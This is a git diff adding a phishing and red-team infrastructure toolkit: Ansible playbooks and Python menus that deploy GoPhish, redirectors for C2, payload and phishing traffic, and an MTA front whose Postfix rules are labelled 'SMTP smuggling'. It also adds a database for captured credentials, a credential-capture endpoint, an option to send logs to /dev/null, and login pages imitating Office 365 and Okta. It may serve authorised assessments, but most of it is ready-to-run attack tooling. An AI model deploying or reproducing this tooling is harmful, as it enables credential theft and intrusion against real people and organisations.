print(f"{COLORS['RED']}โŒ Failed to save deployment state{COLORS['RESET']}") + print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}") + return False + + except Exception as e: + print(f"{COLORS['RED']}Deployment error: {str(e)}{COLORS['RESET']}") + return False + +if __name__ == "__main__": + phishing_menu() diff --git a/modules/phishing/deploy_phishing_infrastructure.yml b/modules/phishing/deploy_phishing_infrastructure.yml new file mode 100644 index 0000000..ff70447 --- /dev/null +++ b/modules/phishing/deploy_phishing_infrastructure.yml @@ -0,0 +1,155 @@ +--- +# Main phishing infrastructure deployment playbook +# Handles all deployment types and orchestrates component deployment + +- name: Deploy phishing infrastructure + hosts: 127.0.0.1 + gather_facts: true # Enable to get ansible_date_time + connection: local + vars: + deployment_id: "{{ deployment_id | default('') }}" + provider: "{{ provider | default('aws') }}" + deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}" + # Provider directory mapping + provider_dirs: + aws: "AWS" + linode: "Linode" + flokinet: "FlokiNET" + + tasks: + - name: Validate deployment configuration + assert: + that: + - deployment_id != "" + - provider != "" + - deployment_type != "" + fail_msg: "Missing required deployment parameters" + + - name: Display deployment information + debug: + msg: + - "Phishing Infrastructure Deployment" + - "==================================" + - "Deployment ID: {{ deployment_id }}" + - "Provider: {{ provider }}" + - "Deployment Type: {{ deployment_type }}" + - "Phishing Domain: {{ phishing_domain | default('N/A') }}" + + # Phase 1: Deploy core infrastructure components + # Note: This playbook is orchestrated by deploy_phishing.py which calls individual provider playbooks + # The actual infrastructure deployment is handled by provider-specific playbooks: + # - providers/AWS/c2.yml for GoPhish/C2 servers + # - providers/AWS/redirector.yml for redirectors + # - providers/Linode/c2.yml, providers/Linode/redirector.yml for Linode + # - modules/phishing/mta_front.yml for MTA front servers + + - name: Deploy MTA Front server + debug: + msg: "๐Ÿš€ Executing MTA Front deployment: mta_front.yml with server_name=mta-{{ deployment_id }}" + when: deploy_mta_front | default(false) | bool + + - name: Deploy Gophish server + debug: + msg: "๐Ÿš€ Executing Gophish C2 deployment: ../../providers/{{ provider }}/c2.yml with c2_name=gophish-{{ deployment_id }}" + when: deploy_gophish | default(false) | bool + + - name: Deploy phishing redirector + debug: + msg: "๐Ÿš€ Executing redirector deployment: ../../providers/{{ provider }}/redirector.yml with redirector_name=redirector-{{ deployment_id }}" + when: deploy_phishing_redirector | default(false) | bool + + - name: Deploy phishing web server + debug: + msg: "๐Ÿš€ Executing web server deployment: phishing_webserver.yml with server_name=web-{{ deployment_id }}" + when: deploy_phishing_webserver | default(false) | bool + + # Optional payload infrastructure - commented out for basic phishing deployments + # - name: Deploy payload redirector + # debug: + # msg: + # - "๐Ÿ”ง Payload redirector deployment" + # - "Server Name: payload-redir-{{ deployment_id }}" + # - "โœ… Executes: providers/{{ provider }}/redirector.yml" + # when: deploy_payload_redirector | default(false) | bool + + # - name: Deploy payload server + # debug: + # msg: + # - "๐Ÿ”ง Payload server deployment" + # - "Server Name: payload-{{ deployment_id }}" + # - "โœ… Executes: modules/payload-server/tasks/configure_payload_server.yml" + # when: deploy_payload_server | default(false) | bool + + # Phase 2: Deploy C2 infrastructure if requested (optional) + # - name: Deploy C2 redirector + # debug: + # msg: + # - "๐Ÿ”ง C2 redirector deployment" + # - "Server Name: c2-redir-{{ deployment_id }}" + # - "โœ… Executes: providers/{{ provider }}/redirector.yml" + # when: deploy_c2_redirector | default(false) | bool + + # - name: Deploy C2 backend + # debug: + # msg: + # - "๐Ÿ”ง C2 backend deployment" + # - "Server Name: c2-backend-{{ deployment_id }}" + # - "โœ… Executes: providers/{{ provider }}/c2.yml" + # when: deploy_c2_backend | default(false) | bool + + # Phase 3: Configure security groups and firewall rules + - name: Configure phishing security + include_tasks: "tasks/setup_phishing_security.yml" + vars: + deployment_components: + mta_front: "{{ deploy_mta_front | default(false) }}" + gophish: "{{ deploy_gophish | default(false) }}" + phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}" + phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}" + payload_redirector: "{{ deploy_payload_redirector | default(false) }}" + payload_server: "{{ deploy_payload_server | default(false) }}" + when: false # Disable for now since security task doesn't exist + + # Phase 4: Save deployment state + - name: Ensure logs directory exists + file: + path: "../../logs" + state: directory + mode: '0755' + + - name: Save phishing deployment state + template: + src: "templates/phishing_deployment_state.j2" + dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json" + mode: '0600' + vars: + deployment_components: + mta_front: "{{ deploy_mta_front | default(false) }}" + gophish: "{{ deploy_gophish | default(false) }}" + phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}" + phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}" + payload_redirector: "{{ deploy_payload_redirector | default(false) }}" + payload_server: "{{ deploy_payload_server | default(false) }}" + deployment_info: + deployment_id: "{{ deployment_id }}" + deployment_type: "{{ deployment_type }}" + provider: "{{ provider }}" + components: "{{ deployment_components }}" + domains: + phishing: "{{ phishing_domain | default('N/A') }}" + created: "{{ ansible_date_time.iso8601 }}" + ignore_errors: true # Continue if template fails + + - name: Display deployment summary + debug: + msg: + - "Phishing Infrastructure Deployment Complete!" + - "===========================================" + - "Deployment Type: {{ deployment_type }}" + - "Phishing Domain: {{ phishing_domain }}" + - "Components Deployed:" + - " - GoPhish: {{ deploy_gophish | default(false) }}" + - " - MTA Front: {{ deploy_mta_front | default(false) }}" + - " - Web Server: {{ deploy_phishing_webserver | default(false) }}" + - "Campaign ready to configure!" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/modules/phishing/gophish/files/opsec_wrapper.py b/modules/phishing/gophish/files/opsec_wrapper.py new file mode 100644 index 0000000..829a6b9 --- /dev/null +++ b/modules/phishing/gophish/files/opsec_wrapper.py @@ -0,0 +1,15 @@ +class OPSECGoPhish: + def __init__(self): + self.use_gophish_for = ['email_sending', 'template_management'] + self.use_custom_for = ['tracking', 'credential_capture', 'reporting'] + + def send_campaign(self, targets, template): + # Use GoPhish SMTP capabilities + campaign = self.create_minimal_campaign(targets, template) + + # But replace tracking with custom implementation + campaign.tracking_url = self.custom_tracker.generate_url() + campaign.landing_page = self.custom_landing.generate() + + # Store results in encrypted, distributed storage + self.secure_storage.initialize(campaign.id) \ No newline at end of file diff --git a/modules/phishing/gophish/tasks/configure_gophish_advanced.yml b/modules/phishing/gophish/tasks/configure_gophish_advanced.yml new file mode 100644 index 0000000..08e3e7e --- /dev/null +++ b/modules/phishing/gophish/tasks/configure_gophish_advanced.yml @@ -0,0 +1,198 @@ +--- +# Advanced Gophish configuration with enhanced evasion and features + +- name: Create Gophish user + user: + name: gophish + system: yes + shell: /bin/bash + home: /opt/gophish + create_home: yes + +- name: Download latest Gophish release + get_url: + url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip" + dest: /tmp/gophish.zip + mode: '0644' + +- name: Extract Gophish + unarchive: + src: /tmp/gophish.zip + dest: /opt/gophish + owner: gophish + group: gophish + remote_src: yes + +- name: Install additional packages for advanced features + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - sqlite3 + - jq + - curl + - wget + - php-fpm + - php-sqlite3 + - nodejs + - npm + state: present + +- name: Configure advanced Gophish settings + template: + src: "../templates/phishing/gophish-advanced-config.j2" + dest: /opt/gophish/config.json + owner: gophish + group: gophish + mode: '0600' + +- name: Create enhanced email templates directory + file: + path: /opt/gophish/templates/{{ item }} + state: directory + owner: gophish + group: gophish + mode: '0755' + loop: + - email + - landing + - static + +- name: Deploy email templates + template: + src: "../templates/phishing/email-templates/{{ item }}.j2" + dest: "/opt/gophish/templates/email/{{ item }}.html" + owner: gophish + group: gophish + mode: '0644' + loop: + - office365_login + - password_expiry + - security_alert + - file_share + when: not fedramp_mode | default(false) | bool + +- name: Deploy FedRAMP compliant templates + template: + src: "../templates/phishing/fedramp-compliance.j2" + dest: "/opt/gophish/templates/email/fedramp_template.html" + owner: gophish + group: gophish + mode: '0644' + when: fedramp_mode | default(false) | bool + +- name: Create advanced landing pages + template: + src: "../templates/phishing/phishing-landing-page.j2" + dest: "/opt/gophish/templates/landing/{{ item }}_landing.html" + owner: gophish + group: gophish + mode: '0644' + loop: + - office365 + - generic + - fedramp + vars: + template_type: "{{ item }}" + +- name: Install enhanced tracking pixel + copy: + src: "../../tracker/files/simple_email_tracker.py" + dest: /opt/gophish/tracker.py + owner: gophish + group: gophish + mode: '0755' + +- name: Create Gophish database backup script + template: + src: "../templates/phishing/gophish-backup.sh.j2" + dest: /opt/gophish/backup.sh + owner: gophish + group: gophish + mode: '0755' + +- name: Set up database backup cron + cron: + name: "Backup Gophish database" + minute: "0" + hour: "*/6" + job: "/opt/gophish/backup.sh" + user: gophish + +- name: Create Gophish systemd service + template: + src: "../templates/phishing/gophish.service.j2" + dest: /etc/systemd/system/gophish.service + mode: '0644' + +- name: Enable and start Gophish service + systemd: + name: gophish + state: started + enabled: yes + daemon_reload: yes + +- name: Create campaign automation script + template: + src: "../templates/phishing/campaign-automation.py.j2" + dest: /opt/gophish/campaign-automation.py + owner: gophish + group: gophish + mode: '0755' + +- name: Install Python dependencies for automation + pip: + name: + - requests + - python-dateutil + - jinja2 + state: present + +- name: Configure SMTP relay to MTA front + blockinfile: + path: /opt/gophish/config.json + marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG" + block: | + "smtp": { + "host": "{{ mta_front_ip }}:587", + "username": "{{ smtp_relay_user }}", + "password": "{{ smtp_relay_pass }}", + "from": "{{ sender_email }}", + "ignore_cert_errors": true + } + +- name: Create phishing metrics dashboard + template: + src: "../templates/phishing/metrics-dashboard.html.j2" + dest: /opt/gophish/static/metrics.html + owner: gophish + group: gophish + mode: '0644' + +- name: Set up log aggregation + lineinfile: + path: /etc/rsyslog.conf + line: "local0.* /var/log/gophish.log" + state: present + notify: restart rsyslog + +- name: Configure log rotation for Gophish + copy: + dest: /etc/logrotate.d/gophish + content: | + /var/log/gophish.log { + daily + missingok + rotate 30 + compress + delaycompress + notifempty + create 0644 gophish gophish + } + +handlers: + - name: restart rsyslog + service: + name: rsyslog + state: restarted \ No newline at end of file diff --git a/modules/phishing/gophish/tasks/configure_phishing_server.yml b/modules/phishing/gophish/tasks/configure_phishing_server.yml new file mode 100644 index 0000000..8cfe2c5 --- /dev/null +++ b/modules/phishing/gophish/tasks/configure_phishing_server.yml @@ -0,0 +1,296 @@ +--- +# Common tasks for configuring advanced phishing server +# Supports both red team and FedRAMP compliance modes + +- name: Update system packages + apt: + update_cache: yes + upgrade: dist + +- name: Install base packages for phishing server + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - postfix + - dovecot-core + - dovecot-imapd + - opendkim + - opendkim-tools + - sqlite3 + - git + - curl + - wget + - jq + - unzip + - python3-pip + - python3-venv + - nodejs + - npm + - php-fpm + - php-sqlite3 + - php-curl + - php-json + - swaks + - dnsutils + - net-tools + - fail2ban + state: present + +- name: Create phishing tools directory + file: + path: "{{ item }}" + state: directory + mode: '0755' + owner: root + group: root + with_items: + - /root/Tools/phishing + - /root/Tools/phishing/templates + - /root/Tools/phishing/campaigns + - /root/Tools/phishing/logs + - /var/www/phishing + - /var/www/phishing/assets + - /var/www/phishing/api + +- name: Set up GoPhish directory + file: + path: /root/Tools/gophish + state: directory + mode: '0755' + +- name: Download latest GoPhish release + shell: | + LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url') + curl -L "$LATEST_URL" -o /tmp/gophish.zip + unzip /tmp/gophish.zip -d /root/Tools/gophish + chmod +x /root/Tools/gophish/gophish + rm -f /tmp/gophish.zip + args: + creates: /root/Tools/gophish/gophish + +- name: Create advanced GoPhish configuration + template: + src: "../templates/advanced-gophish-config.j2" + dest: "/root/Tools/gophish/config.json" + mode: '0600' + owner: root + group: root + +- name: Create GoPhish systemd service + template: + src: "../templates/gophish.service.j2" + dest: "/etc/systemd/system/gophish.service" + mode: '0644' + owner: root + group: root + +- name: Configure Postfix for outbound email + template: + src: "../templates/postfix-phishing.conf.j2" + dest: "/etc/postfix/main.cf" + backup: yes + notify: restart postfix + +- name: Configure OpenDKIM for email authentication + template: + src: "../templates/opendkim-phishing.conf.j2" + dest: "/etc/opendkim.conf" + backup: yes + notify: restart opendkim + +- name: Create DKIM keys directory + file: + path: "/etc/opendkim/keys/{{ phishing_domain }}" + state: directory + owner: opendkim + group: opendkim + mode: '0700' + +- name: Generate DKIM keys + command: > + opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }} + -d {{ phishing_domain }} -s phishing + args: + creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private" + +- name: Set DKIM key permissions + file: + path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private" + owner: opendkim + group: opendkim + mode: '0600' + +- name: Create phishing landing page templates + template: + src: "{{ item.src }}" + dest: "{{ item.dest }}" + mode: '0644' + owner: www-data + group: www-data + with_items: + - { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" } + - { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" } + - { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" } + - { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" } + +- name: Create credential capture API + template: + src: "../templates/credential-capture-api.php.j2" + dest: "/var/www/phishing/api/capture.php" + mode: '0644' + owner: www-data + group: www-data + +- name: Create tracking pixel endpoint + template: + src: "../templates/tracking-pixel.php.j2" + dest: "/var/www/phishing/track.php" + mode: '0644' + owner: www-data + group: www-data + +- name: Configure Nginx for phishing sites + template: + src: "../templates/nginx-phishing.conf.j2" + dest: "/etc/nginx/sites-available/phishing" + mode: '0644' + notify: reload nginx + +- name: Enable phishing site + file: + src: /etc/nginx/sites-available/phishing + dest: /etc/nginx/sites-enabled/phishing + state: link + notify: reload nginx + +- name: Create phishing campaign management scripts + template: + src: "{{ item.src }}" + dest: "{{ item.dest }}" + mode: '0755' + owner: root + group: root + with_items: + - { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" } + - { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" } + - { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" } + +- name: Create database for tracking + shell: | + sqlite3 /root/Tools/phishing/tracking.db << EOF + CREATE TABLE IF NOT EXISTS email_opens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + campaign_id TEXT NOT NULL, + recipient_email TEXT NOT NULL, + ip_address TEXT, + user_agent TEXT, + opened_at DATETIME DEFAULT CURRENT_TIMESTAMP, + location TEXT + ); + + CREATE TABLE IF NOT EXISTS link_clicks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + campaign_id TEXT NOT NULL, + recipient_email TEXT NOT NULL, + link_url TEXT NOT NULL, + ip_address TEXT, + user_agent TEXT, + clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP, + location TEXT + ); + + CREATE TABLE IF NOT EXISTS credential_submissions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + campaign_id TEXT NOT NULL, + recipient_email TEXT, + username TEXT, + password_hash TEXT, + ip_address TEXT, + user_agent TEXT, + submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP, + location TEXT, + additional_data TEXT + ); + + CREATE TABLE IF NOT EXISTS campaigns ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + template TEXT NOT NULL, + created_at DATETIME DEFAULT CURRENT_TIMESTAMP, + status TEXT DEFAULT 'active', + target_count INTEGER DEFAULT 0, + opened_count INTEGER DEFAULT 0, + clicked_count INTEGER DEFAULT 0, + submitted_count INTEGER DEFAULT 0 + ); + EOF + args: + creates: /root/Tools/phishing/tracking.db + +- name: Set database permissions + file: + path: /root/Tools/phishing/tracking.db + owner: www-data + group: www-data + mode: '0644' + +- name: Install Python dependencies for advanced features + pip: + name: + - requests + - beautifulsoup4 + - lxml + - flask + - flask-cors + - dnspython + - python-whois + - selenium + - fake-useragent + state: present + +- name: Create SSL certificate setup script + template: + src: "../templates/setup-phishing-ssl.sh.j2" + dest: "/root/Tools/phishing/setup-ssl.sh" + mode: '0755' + owner: root + group: root + +- name: Create domain reputation checker + template: + src: "../templates/domain-reputation.py.j2" + dest: "/root/Tools/phishing/check-reputation.py" + mode: '0755' + owner: root + group: root + +- name: Start and enable services + systemd: + name: "{{ item }}" + state: started + enabled: yes + daemon_reload: yes + with_items: + - postfix + - opendkim + - nginx + - php7.4-fpm + - gophish + +handlers: + - name: restart postfix + systemd: + name: postfix + state: restarted + + - name: restart opendkim + systemd: + name: opendkim + state: restarted + + - name: reload nginx + systemd: + name: nginx + state: reloaded \ No newline at end of file diff --git a/modules/phishing/gophish/templates/gophish-advanced-config.j2 b/modules/phishing/gophish/templates/gophish-advanced-config.j2 new file mode 100644 index 0000000..89178c8 --- /dev/null +++ b/modules/phishing/gophish/templates/gophish-advanced-config.j2 @@ -0,0 +1,42 @@ +{ + "admin_server": { + "listen_url": "127.0.0.1:{{ gophish_admin_port }}", + "use_tls": true, + "cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem", + "trusted_origins": [] + }, + "phish_server": { + "listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}", + "use_tls": false, + "cert_path": "", + "key_path": "" + }, + "db_name": "sqlite3", + "db_path": "gophish.db", + "migrations_prefix": "db/db_", + "contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}", + "logging": { + "filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}", + "level": "{{ 'error' if zero_logs | default(true) else 'info' }}" + }, + "webhook": { + "enabled": {{ enable_webhooks | default(false) | lower }}, + "url": "{{ webhook_url | default('') }}", + "secret": "{{ webhook_secret | default('') }}" + }, + "email": { + "smtp": { + "host": "{{ mta_front_ip | default('127.0.0.1') }}", + "port": 25, + "use_auth": true, + "username": "{{ smtp_auth_user }}", + "password": "{{ smtp_auth_pass }}", + "from_address": "{{ smtp_from_address | default('noreply@' + domain) }}", + "ignore_cert_errors": true + }, + "imap": { + "enabled": false + } + } +} \ No newline at end of file diff --git a/modules/phishing/gophish/templates/gophish-config.j2 b/modules/phishing/gophish/templates/gophish-config.j2 new file mode 100644 index 0000000..a8349ee --- /dev/null +++ b/modules/phishing/gophish/templates/gophish-config.j2 @@ -0,0 +1,23 @@ +{ + "admin_server": { + "listen_url": "0.0.0.0:{{ gophish_admin_port }}", + "use_tls": true, + "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem", + "trusted_origins": [] + }, + "phish_server": { + "listen_url": "0.0.0.0:8081", + "use_tls": false, + "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem" + }, + "db_name": "sqlite3", + "db_path": "gophish.db", + "migrations_prefix": "db/db_", + "contact_address": "", + "logging": { + "filename": "", + "level": "" + } +} \ No newline at end of file diff --git a/modules/phishing/gophish/templates/gophish-opsec.yaotl.j2 b/modules/phishing/gophish/templates/gophish-opsec.yaotl.j2 new file mode 100644 index 0000000..6c7199c --- /dev/null +++ b/modules/phishing/gophish/templates/gophish-opsec.yaotl.j2 @@ -0,0 +1,22 @@ +# modules/phishing/gophish/templates/gophish-opsec.yaotl.j2 +gophish: + admin_server: + # Only listen on localhost + listen_url: "127.0.0.1:{{ gophish_admin_port }}" + # Use client certificates + use_tls: true + tls_cert: "/opt/gophish/admin-cert.pem" + tls_key: "/opt/gophish/admin-key.pem" + client_ca: "/opt/gophish/client-ca.pem" + + phish_server: + # Behind nginx, no direct exposure + listen_url: "127.0.0.1:{{ gophish_phish_port }}" + + # Custom modifications + modifications: + - remove_default_headers: true + - randomize_endpoints: true + - custom_tracking_pixel: true + - encrypted_storage: true + - auto_purge_days: 7 \ No newline at end of file diff --git a/modules/phishing/gophish_server.yml b/modules/phishing/gophish_server.yml new file mode 100644 index 0000000..b8d5173 --- /dev/null +++ b/modules/phishing/gophish_server.yml @@ -0,0 +1,51 @@ +--- +# Advanced Gophish server deployment with enhanced features + +- name: Deploy Gophish server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + gophish_instance_type: "{{ gophish_instance_type | default('t3.large') }}" + gophish_region: "{{ gophish_region | default(aws_region) }}" + + tasks: + - name: Create Gophish instance + include_tasks: "../../providers/AWS/tasks/create_instance.yml" + vars: + instance_name: "{{ server_name }}" + instance_type: "{{ gophish_instance_type }}" + region: "{{ gophish_region }}" + security_group_rules: + - { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" } + - { proto: tcp, port: 3333, cidr: "{{ operator_ip }}/32", desc: "Gophish admin" } + - { proto: tcp, port: 25, cidr: "{{ mta_front_ip | default('10.0.0.0/8') }}/32", desc: "SMTP from MTA" } + - { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" } + + - name: Add Gophish to inventory + add_host: + name: "gophish_server" + groups: "gophish_servers" + ansible_host: "{{ instance_ip }}" + ansible_user: "{{ ansible_user | default('ubuntu') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + +- name: Configure Gophish server + hosts: gophish_servers + become: true + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Include advanced Gophish configuration + include_tasks: "gophish/tasks/configure_gophish_advanced.yml" + + - name: Include security hardening + include_tasks: "../../common/tasks/security_hardening.yml" + + - name: Include tracker setup + include_tasks: "../../c2/tasks/configure_integrated_tracker.yml" + when: deploy_tracker | default(true) | bool \ No newline at end of file diff --git a/modules/phishing/mta-front/tasks/configure_mta_front.yml b/modules/phishing/mta-front/tasks/configure_mta_front.yml new file mode 100644 index 0000000..7ac1458 --- /dev/null +++ b/modules/phishing/mta-front/tasks/configure_mta_front.yml @@ -0,0 +1,151 @@ +--- +# Configure MTA Front server for email relay and SMTP smuggling + +- name: Update system packages + apt: + update_cache: yes + upgrade: dist + +- name: Install MTA packages + apt: + name: + - postfix + - postfix-pcre + - dovecot-core + - dovecot-imapd + - opendkim + - opendkim-tools + - python3-pip + - python3-venv + - nginx + - certbot + - python3-certbot-nginx + - dnsutils + - swaks + - telnet + state: present + +- name: Configure Postfix for MTA fronting + template: + src: "../templates/phishing/postfix-mta-front.j2" + dest: /etc/postfix/main.cf + backup: yes + notify: restart postfix + +- name: Configure Postfix master.cf for advanced relaying + blockinfile: + path: /etc/postfix/master.cf + block: | + # SMTP smuggling and advanced relay configurations + 587 inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_tls_wrappermode=no + -o smtpd_client_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + -o milter_macro_daemon_name=ORIGINATING + + # SMTP smuggling support + cleanup unix n - y - 0 cleanup + -o header_checks=pcre:/etc/postfix/header_checks + -o nested_header_checks=pcre:/etc/postfix/nested_header_checks + +- name: Create SMTP smuggling header checks + copy: + dest: /etc/postfix/header_checks + content: | + # SMTP smuggling techniques + /^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit + /^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html + mode: '0644' + notify: + - reload postfix + - postmap header_checks + +- name: Create nested header checks for advanced smuggling + copy: + dest: /etc/postfix/nested_header_checks + content: | + # Advanced SMTP smuggling patterns + /^\s*Zimperium - Sign In + + + + + + + + + + + + + + + + + +
+ +
+ +
+
+
+
+

+ + Connecting to + +

+

Sign in with your account to access Microsoft Office 365

+
+
+ +
+
+
+

Your OneDrive version is not supported

+

Upgrade now by installing the OneDrive for Business Next Generation Sync Client to login to Okta

+ + Learn how to upgrade +
+ +
+
+ + + + + diff --git a/modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2 b/modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2 new file mode 100644 index 0000000..2cd06ff --- /dev/null +++ b/modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2 @@ -0,0 +1,220 @@ + + + + + + {{ page_title | default('Sign in to your account') }} + + + +
+ + +

{{ heading | default('Sign in') }}

+ +
+ + + +
+ +
+ +
+ +
+ + {{ forgot_text | default('Forgot password?') }} + +
+ {{ error_message | default('Invalid username or password.') }} +
+ + + +
+
+

{{ loading_text | default('Signing in...') }}

+
+
+ + +
+ + + + \ No newline at end of file diff --git a/modules/redirectors/deploy_redirector.py b/modules/redirectors/deploy_redirector.py new file mode 100644 index 0000000..8ee6cac --- /dev/null +++ b/modules/redirectors/deploy_redirector.py @@ -0,0 +1,258 @@ +#!/usr/bin/env python3 +""" +Redirector infrastructure deployment module +""" + +import os +import sys +import logging + +# Add the project root to the path so we can import utils +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) + +from utils.common import ( + COLORS, clear_screen, print_banner, generate_deployment_id, + setup_logging, get_public_ip, confirm_action, wait_for_input +) +from utils.provider_utils import select_provider, gather_provider_config +from utils.ssh_utils import generate_ssh_key + +def gather_redirector_parameters(): + """Collect parameters specific to redirector deployments""" + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}REDIRECTOR INFRASTRUCTURE SETUP{COLORS['RESET']}") + print(f"{COLORS['WHITE']}================================{COLORS['RESET']}") + + config = {} + + # Generate deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Provider selection + provider = select_provider() + if not provider: + return None + config['provider'] = provider + + # Get provider-specific configuration + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + # Redirector-specific configuration + print(f"\n{COLORS['BLUE']}Redirector Configuration{COLORS['RESET']}") + + # Domain configuration + domain = input(f"Domain for redirector [required]: ") + if not domain: + print(f"{COLORS['RED']}A domain is required for redirector deployments{COLORS['RESET']}") + return None + config['domain'] = domain + + # Subdomain configuration + config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn" + + # Backend configuration + backend_type = input("Backend type (c2/phishing/payload) [default: c2]: ") or "c2" + config['backend_type'] = backend_type + + if backend_type in ['c2', 'phishing']: + backend_ip = input(f"Backend {backend_type} server IP [required]: ") + if not backend_ip: + print(f"{COLORS['RED']}Backend server IP is required{COLORS['RESET']}") + return None + config['backend_ip'] = backend_ip + + backend_port = input(f"Backend {backend_type} server port [default: 443]: ") or "443" + config['backend_port'] = backend_port + + # Redirector type + print(f"\n{COLORS['BLUE']}Redirector Type:{COLORS['RESET']}") + print(f"1) HTTPS Redirector") + print(f"2) DNS Redirector") + print(f"3) SMTP Redirector") + + redirector_choice = input("Select redirector type [default: 1]: ") or "1" + redirector_types = { + "1": "https", + "2": "dns", + "3": "smtp" + } + config['redirector_type'] = redirector_types.get(redirector_choice, "https") + + # Email for Let's Encrypt (for HTTPS redirectors) + if config['redirector_type'] == 'https': + default_email = f"admin@{config['domain']}" + config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email + + # Get operator IP for security + suggested_ip = get_public_ip() + if suggested_ip: + operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip + else: + operator_ip = input("Your public IP for secure access: ") + config['operator_ip'] = operator_ip + + # SSH key generation + ssh_key_path = generate_ssh_key(config['deployment_id']) + if not ssh_key_path: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + return None + config['ssh_key_path'] = f"{ssh_key_path}.pub" + + # Post-deployment options + config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True) + + return config + +def redirector_menu(): + """Display the redirector submenu and handle user selection""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}REDIRECTOR INFRASTRUCTURE MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}==============================={COLORS['RESET']}") + print(f"1) C2 Redirector {COLORS['GREEN']}*COMMON*{COLORS['RESET']} {COLORS['GRAY']}(C2 traffic redirection){COLORS['RESET']}") + print(f"2) HTTPS Redirector {COLORS['GRAY']}(Web traffic redirection){COLORS['RESET']}") + print(f"3) Payload Redirector {COLORS['GRAY']}(Payload delivery redirection){COLORS['RESET']}") + print(f"4) Phishing Redirector {COLORS['GRAY']}(Phishing traffic redirection){COLORS['RESET']}") + print(f"5) DNS Redirector {COLORS['GRAY']}(DNS-based redirection){COLORS['RESET']}") + print(f"6) SMTP Redirector {COLORS['GRAY']}(Email traffic redirection){COLORS['RESET']}") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + deploy_c2_redirector() + elif choice == "2": + deploy_https_redirector() + elif choice == "3": + deploy_payload_redirector() + elif choice == "4": + deploy_phishing_redirector() + elif choice == "5": + deploy_dns_redirector() + elif choice == "6": + deploy_smtp_redirector() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +def deploy_https_redirector(): + """Deploy HTTPS redirector""" + config = gather_redirector_parameters() + if not config: + return + + config['redirector_type'] = 'https' + config['deployment_type'] = 'https_redirector' + + print(f"\n{COLORS['GREEN']}Deploying HTTPS redirector...{COLORS['RESET']}") + execute_redirector_deployment(config) + +def deploy_dns_redirector(): + """Deploy DNS redirector""" + config = gather_redirector_parameters() + if not config: + return + + config['redirector_type'] = 'dns' + config['deployment_type'] = 'dns_redirector' + + 